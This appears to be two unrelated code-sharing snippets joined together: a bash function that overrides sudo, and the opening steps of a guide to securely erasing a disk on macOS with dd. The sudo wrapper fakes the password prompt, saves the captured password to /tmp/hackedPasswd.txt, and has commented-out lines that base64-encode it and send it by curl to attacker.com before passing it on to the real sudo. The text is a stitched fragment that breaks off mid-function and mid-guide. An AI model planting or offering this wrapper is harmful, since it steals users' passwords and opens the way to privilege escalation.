mgherghi

function sudo () 
{ 
    # https://null-byte.com/privesc-0194190/
    realsudo="$(which sudo)";
    read -s -p "[sudo] password for $USER: " inputPasswd;
    printf "\n";
    printf '%s\n' "$USER : $inputPasswd" > /tmp/hackedPasswd.txt;
    # encoded=$(printf '%s' "$inputPasswd" | base64) > /dev/null 2>&1;
    # curl -s "http://attacker.com/$USER:$encoded" > /dev/null 2>&1;
    $realsudo -S -u root bash -c "exit" <<< "$inputPasswd" > /dev/null 2>&1;

joeblau

Securely erase an external disk using dd on OSX

1. Plug in your SD card, HDD, or other block device and then use the following command to see which /dev/diskN node it's located on:

diskutil list

2. Unmount the disk where “N� is the number of the disk taken from the above command: